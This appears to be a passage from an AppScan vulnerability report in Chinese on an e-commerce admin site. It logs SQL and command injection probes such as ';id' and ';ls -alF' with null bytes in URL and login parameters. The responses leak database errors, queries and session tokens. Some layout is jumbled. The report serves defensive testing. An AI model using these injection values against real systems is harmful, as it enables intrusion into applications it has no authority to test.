差异: 参数 从以下位置进行控制: - 至: 😵 3Bid 800

推理: 测试结果似乎指示存在脆弱性,因为响应包含 SQL Server 错误。这表明测试设法通过注入危险字符穿透了应用程序并到达 SQL 查询本身。

测试请求和响应:

```
GET /goodsclassList?
draw=7&start=0&length=15&search%5Bregex%5D=false&pageNum=1&classcode=03&searchValue=%3Bid%00
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
. . .
. . .
 "data": [
```

```
"returnCode": 0,
                                               错误代码:LUO003C\r\n错误信息:查询商品分类失败
\r\nStackTrace:org.springframework.dao.DataIntegrityViolationException: \n### Error querying
database. Cause: org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding
\"UTF8\": 0x00\n### The error may exist in URL [jar:file:/apps/rest/goods/vr-goods-rest-
com.suneee.scn.goods.dao.PubGoodsclassDao.findGoodsclassForPage-Inline\n### The error occurred
while setting parameters\n### SQL: select
                                                                                                                                       enterpriseid, classid, classcode, classname,
level, endflag, status, parentcode, imgurl, seq,
                                                                                                                                                    (select classname from pub goodsclass b
where b.classcode = a.parentcode and b.enterpriseid =a.enterpriseid limit 1 ) parentclassname
                                                                                                                                                                                               and classcode like
from pub goodsclass a where 1=1
                                                                                                                 and enterpriseid=?
                                                              and (classcode like '%'||?||'%' OR classname like '%'||?||'%')
CONCAT('',?,'%')
                                                                        limit ? offset ?\n### Cause: org.postgresql.util.PSQLException:
order by classid desc
ERROR: invalid byte sequence for encoding \"UTF8\": 0x00\n; SQL []; ERROR: invalid byte sequence
for encoding \"UTF8\": 0x00; nested exception is org.postgresql.util.PSQLException: ERROR:
invalid byte sequence for encoding \"UTF8\": 0x00\ntat
org.springframework.jdbc.support.<mark>SQLState</mark>SQLExceptionTranslator.doTranslate(<mark>SQLState</mark>SQLExceptionT
ranslator.java:102) \n\tat
kSQLExceptionTranslator.java:73) \n\tat
\verb|org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate (AbstractFallbackSQLExceptionTranslator.translate)|
kSQLExceptionTranslator.java:81) \n\tat
org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate(AbstractFallbac
kSQLExceptionTranslator.java:81) \n\tat
\verb|org.mybatis.spring.MyBatisExceptionTranslator.translateExceptionIfPossible(MyBatisExceptionTranslator.translateExceptionIfPossible(MyBatisExceptionTranslator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.tra
ator.java:74) \n\tat
\tat com.sun.proxy.$Proxy31.selectList(Unknown Source)\n\tat
org.mybatis.spring.SqlSessionTemplate.selectList(SqlSessionTemplate.java:205)\n\tat
org.apache.ibatis.binding.MapperMethod.executeForMany(MapperMethod.java:114)\n\tat
org.apache.ibatis.binding.MapperMethod.execute(MapperMethod
tHandler.channelRead0(RequestHandler.java:52)\n\tat
io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.ja
va · 363) \n\tat
io.netty.channel.AbstractChannelHandlerContext.access$600(AbstractChannelHandlerContext.java:38)\
n\tat
io.netty.channel.AbstractChannelHandlerContext$7.run(AbstractChannelHandlerContext.java:354)\n\ta
{\tt io.netty.util.concurrent.AbstractEventExecutor.safeExecute\,(AbstractEventExecutor.java:163)\,\\ \\ \land tataline abstractEventExecutor.based ab
io.nettv.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java:403
)\n\tat io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:445)\n\tat
io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:858) \n\ta
\verb|io.netty.util.concurrent.DefaultThreadFactory\\| \texttt{DefaultRunnableDecorator.run}\\| \texttt{(DefaultThreadFactory.jun)}| \texttt{(Defa
ava:144) \n\tat java.lang.Thread.run(Thread.java:745) \nCaused by:
org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding \"UTF8\": 0x00\n\tat
org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:2182)\n\tat
org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1911) \n\tat
org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:173) \n\tat
\verb|at org.postgresql.jdbc2.AbstractJdbc2Statement.execute (AbstractJdbc2Statement.java: 461) \\ | https://document.execute(AbstractJdbc2Statement.java: 461)
com.alibaba.druid.pool.DruidPooledPreparedStatement.execute(DruidPooledPreparedStatement.java:493
:56) \n\tat
. . .
```

问题 **9 / 11** Toc

发现数据库错误模式	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsclass/goodsclassAdd
实体:	classcode (Global)
风险:	可能会查看、修改或删除数据库条目和表
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

差异: 参数 从以下位置进行控制: 04003 至: %3Bid%00

推理: 测试结果似乎指示存在脆弱性,因为响应包含 SQL Server 错误。这表明测试设法通过注入危险字符穿透了应用程序并到达 SQL 查询本身。

测试请求和响应:

```
GET
/goodsclass/goodsclassAdd? \\ classcode=\$3Bid\$00\&classname=\$E7\$BB\$BF\$E6\$A4\$8D\$E6\$9C\$8D\$E5\$8A\$A1\&level
=2 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
. . .
. . .
"data": [
 "returnCode": 0,
            错误代码:LUO003C\r\n错误信息:查询商品分类失败
\r\nStackTrace:org.springframework.dao.DataIntegrityViolationException: \n### Error querying
database. Cause: org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding
\"UTF8\": 0x00\n### The error may exist in URL [jar:file:/apps/rest/goods/vr-goods-rest-
setting parameters\n### SQL: select
                                   enterpriseid, classid, classcode, classname, level,
endflag, status, parentcode, imgurl, seq
                                       from pub_goodsclass where 1=1
enterpriseid=? and classcode like CONCAT('',?,'%') order by classid\n###
Cause: org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding \"UTF8\":
0x00\n; SQL []; ERROR: invalid byte sequence for encoding \"UTF8\": 0x00; nested exception is
org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding \"UTF8\": 0x00\n\tat
org.springframework.jdbc.support.SQLStateSQLExceptionTranslator.doTranslate(SQLStateSQLExceptionT
ranslator.java:102) \n\tat
kSQLExceptionTranslator.java:73) \n\tat
kSQLExceptionTranslator.java:81) \n\tat
orq.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate(AbstractFallbac
kSQLExceptionTranslator.java:81) \n\tat
ator.java:74) \n\tat
org.mybatis.spring.SqlSessionTemplate$SqlSessionInterceptor.invoke(SqlSessionTemplate.java:399)\n
```

```
\tat com.sun.proxy.$Proxy31.selectList(Unknown Source)\n\tat
\verb|org.mybatis.spring.SqlSessionTemplate.selectList(SqlSessionTemplate.java:205) \n\tat|
org.apache.ibatis.binding.MapperMethod.executeForMany(MapperMethod.java:114) \n\tat
org.apache.ibatis.binding.MapperMethod.execute(MapperMethod
. . .
tHandler.channelRead0(RequestHandler.java:52)\n\tat
io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.ja
va:363)\n\tat
io.netty.channel.AbstractChannelHandlerContext.access$600(AbstractChannelHandlerContext.java:38)
n\tat
io.nettv.channel.AbstractChannelHandlerContext$7.run(AbstractChannelHandlerContext.java:354)\n\ta
{\tt io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks} (SingleThreadEventExecutor.java: 403) \\
)\n\tat io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:445)\n\tat
io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:858)\n\ta
io.netty.util.concurrent.DefaultThreadFactory$DefaultRunnableDecorator.run(DefaultThreadFactory.j
ava:144) \n\tat java.lang.Thread.run(Thread.java:745) \nCaused by:
org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding \"UTF8\": 0x00\n\tat
org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:2182)\n\tat
org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1911) \n\tat
org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:173)\n\tat
org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:618)\n\tat
\verb|at org.postgresql.jdbc2.AbstractJdbc2Statement.execute (AbstractJdbc2Statement.java: 461) \\ | https://dbc2Statement.execute (AbstractJdbc2Statement.execute (AbstractJdbc2Statement.java: 461) \\ | https://dbc2Statement.execute (AbstractJdbc2Statement.execute (AbstractJdbc2Statement.
\verb|com.alibaba.druid.pool.DruidPooledPreparedStatement.execute | OruidPooledPreparedStatement.java: 493 | Compared Statement | Compare
:56) \n\tat
. . .
. . .
. . .
```

问题 10 / 11 Toc

发现数据库错误模式 严重性: (CVSS 分数: 5.0 URL: http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/updateGoodsStock 实体: ->"departmentid" (Global) 风险: 可能会查看、修改或删除数据库条目和表 原因: 未对用户输入正确执行危险字符清理 固定值: 查看危险字符注入的可能解决方案

差异: 参数 从以下位置进行控制: 1670 至: 4294967297

推理: 测试结果似乎指示存在脆弱性,因为响应包含 SQL Server 错误。这表明测试设法通过注入危险字符穿透了应用程序并到达 SQL 查询本身。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
```

```
Content-Length: 61
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
   "goodsid": 105190,
  "stockqty": "+12",
                                               4294967297
  "departmentid":
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
. . .
  "data": [
  "returnCode": 0,
                               错误代码:添加库存失败\r\n错误信
   "msg": "
息:null\r\nStackTrace:org.springframework.dao.DuplicateKeyException: \n### Error updating
database. Cause: org. postgresql.util. PSQLException: ERROR: duplicate key value violates unique
constraint \"pub goods stock pkey\"\n Detail: Key (goodsid, enterpriseid)=(105190, 55) already
exists.\n### The error may involve com.suneee.scn.goods.dao.PubGoodsStockDao.addPubGoodsStock-
Inline\n### The error occurred while setting parameters\n### SQL: insert into pub_goods_stock
( enterpriseid,
                                                 goodsid,
                                                                                      departmentid,
                                                                                                                                   stockqty )
                                                                                                                                                                        values (?,
                                               ? )\n### Cause: org.postgresql.util.PSQLException: ERROR: duplicate key
                     ?,
value violates unique constraint \"pub goods stock pkey\"\n Detail: Key (goodsid, enterpriseid) =
(105190, 55) already exists.\n; SQL []; ERROR: duplicate key value violates unique constraint
\"pub goods stock pkey\"\n Detail: Key (goodsid, enterpriseid)=(105190, 55) already exists.;
nested exception is org.postgresql.util.PSQLException: ERROR: duplicate key value violates unique constraint \"pub_goods_stock_pkey\"\n Detail: Key (goodsid, enterpriseid)=(105190, 55) already
exists.\n\tat
\verb|org.springframework.jdbc.support.| \frac{\texttt{SQLError}}{\texttt{CodeSQLExceptionTranslator.doTranslate}(\frac{\texttt{SQLError}}{\texttt{CodeSQLExceptionTranslator.doTranslate}(\frac{\texttt{SQLError}}{\texttt{CodeSQLExceptionTranslator.doTranslator})|
ceptionTranslator.java:239) \n\tat
kSQLExceptionTranslator.java:73) \n\tat
ator.java:74) \n\tat
\tat com.sun.proxy.$Proxy31.insert(Unknown Source)\n\tat
\verb|org.apache.ibatis.binding.MapperMethod.execute(MapperMethod.java:46) \n \texttt| tat| \\
org.apache.ibatis.binding.MapperProxy.invoke(MapperProxy.java:43)\n\tat
com.sun.proxy.$Proxy55.addPubGoodsStock(Unknown Source) \n\tat
\verb|com.sunee.scn.goods.service.PubGoodsStockService.addPubGoodsStockService.java:21)| \\
\verb|com.sunee.scn.goods.consumer.impl.PubGoodsStockConsumer.addPubGoodsStock(PubGoodsStockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsumer.jockConsum
ava:53)\n
tHandler.channelRead0(RequestHandler.java:52)\n\tat
io.netty.channel.SimpleChannelInboundHandler.channelRead(SimpleChannelInboundHandler.java:105)\n\
\verb|io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.ja)| \\
va:363) \n\tat
io.netty.channel.AbstractChannelHandlerContext.access$600(AbstractChannelHandlerContext.java:38)
n\tat
io.netty.channel.AbstractChannelHandlerContext$7.run(AbstractChannelHandlerContext.java:354)\n\ta
{\tt io.netty.util.concurrent.AbstractEventExecutor.safeExecute\,(AbstractEventExecutor.java:163)\,\\ \\ \land tataline abstractEventExecutor.based ab
io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java:403
) \n\tat io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:445) \n\tat
io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:858)\n\ta
```

```
ava:144) \n\tat java.lang.Thread.run(Thread.java:745) \nCaused by:
org.postgresql.util.PSQLException: ERROR: duplicate key value violates unique constraint
"pub goods stock pkey\"\n Detail: Key (goodsid, enterpriseid)=(105190, 55) already
exists.\n\tat
orq.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:2182)\n\tat
org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:173)\n\tat
at org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:461)\n\tat
)\n\tat
a:41) \n\tat org.a
. . .
```

问题 **11 / 11** roc

发现数据库错误模式	
严重性:	€ Control of the con
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/login
实体:	username (Global)
风险:	可能会查看、修改或删除数据库条目和表
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

推理: 测试结果似乎指示存在脆弱性,因为响应包含 SQL Server 错误。这表明测试设法通过注入危险字符穿透了应用程序并到达 SQL 查询本身。

测试请求和响应:

```
POST /login HTTP/1.1
Content-Length: 40
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: system-rest-enterprise.mall.xt.weilian.cn
Cookie: enterpriseLevel=1; account=setest01; enterpriseCode=SUNEEE; enterpriseId=55
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: en-US, en; q=0.8
username=%3Bls%20-a1F%00&password=123456
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
```

```
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:28:23 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
### Error querying database. Cause: org.postgresql.util.PSQLException: ERROR: invalid byte
sequence for encoding "UTF8": 0x00
### The error may exist in URL [jar:file:/apps/rest/system/system-rest-enterprise-1.0.0-
SNAPSHOT.jar!/mybatisMap/SystemUserInfoTMapper.xml]
### The error may involve com.suneee.scn.system.dao.SystemUserInfoTDao.selectByPrimaryKey-Inline
### The error occurred while setting parameters
### SQL: select
                        account, department_id, user_name, password, sex, position, address,
telphone, valid,
                     last_login_time, last_login_ip, memo, delete_flag, create_time,
update_time, corp_id, dept_id, operpassword, strmd5, e_mail, failure_num, last_failure_time,
                 id_card, nick, acc_from, name, employee_id, user_id, employeeid,
pw update time,
enterprisecode,
                    enterpriseid, employeename
                                                      from system user info t
### Cause: org. postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding "UTF8":
0x00
; SQL []; ERROR: invalid byte sequence for encoding "UTF8": 0x00; nested exception is
org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding "UTF8": 0x00
```

查询中接受的主体参数 1

TOC

问题 **1 / 1** Toc

查询中接受的主体参数 严重性: 低 CVSS 分数: 5.0 URL: http://system-rest-enterprise.mall.xt.weilian.cn/login.html 实体: login.html (Page) 风险: 可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息 原因: Web 应用程序编程或配置不安全 固定值: 请勿接受在查询字符串中发送的主体参数

差异: 主体参数 已从请求除去: test@altoromutual.com 查询参数 已添加至请求: test@altoromutual.com 方法 从以下位置进行控制: POST 至: GET

推理: 测试结果似乎指示存在脆弱性,因为"测试响应"与"原始响应"类似,这表明应用程序处理了查询总 提交的主体参数。

测试请求和响应:

```
GET /login.html?reminder-email=test%40altoromutual.com HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
```

```
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/
Cookie: sessionId=ee7290de32e02a6f31d21e51ab01d02b; enterpriseCode=SUNEEE; enterpriseId=55;
account=setest01; enterpriseLevel=1
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
Content-Type: application/x-www-form-urlencoded
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<!DOCTYPE html>
<!--[if IE 91>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if qt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- Icons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
hrowsers -->
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 <link rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
 <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
```

```
<link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
    <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
   <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <!-- END Stylesheets -->
    <style>
       .error {
         color: red;
         .toptitle{font-family:"
                                       微软雅黑";font-size:16px;padding-top:10px;}
        body{background-color:#F2F4F4;}
         #login-background{background-color:#730000;}
    <!-- Modernizr (browser feature detection library) -->
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></
          <div class="form-group">
          <div class="col-xs-12">
          <div class="input-group">
          <span class="input-group-addon"><i class="gi gi-envelope"></i></span>
          <input type="text" id="reminder-email" name="reminder-email" class="form-control input-</pre>
lg" placeholder="Email">
          </div>
          </div>
          </div>
         <div class="form-group form-actions">
. . .
```

缺少"Content-Security-Policy"头 4

TO

问题 **1 / 4** TOC

缺少"Content-Security-Policy"头	
严重性:	低
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	(Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	将您的服务器配置为使用"Content-Security-Policy"头

差异:

推理: AppScan 检测到 Content-Security-Policy 响应头缺失,这可能会更大程度得暴露于各种跨站点注入攻击下之

测试请求和响应:

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Host: system-rest-enterprise.mall.xt.weilian.cn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<!DOCTYPE html>
<!--[if IE 91>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- Icons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
browsers -->
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    k rel="stylesheet" type="text/css"
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 <link rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
```

```
<!-- Related styles of various icon packs and plugins -->
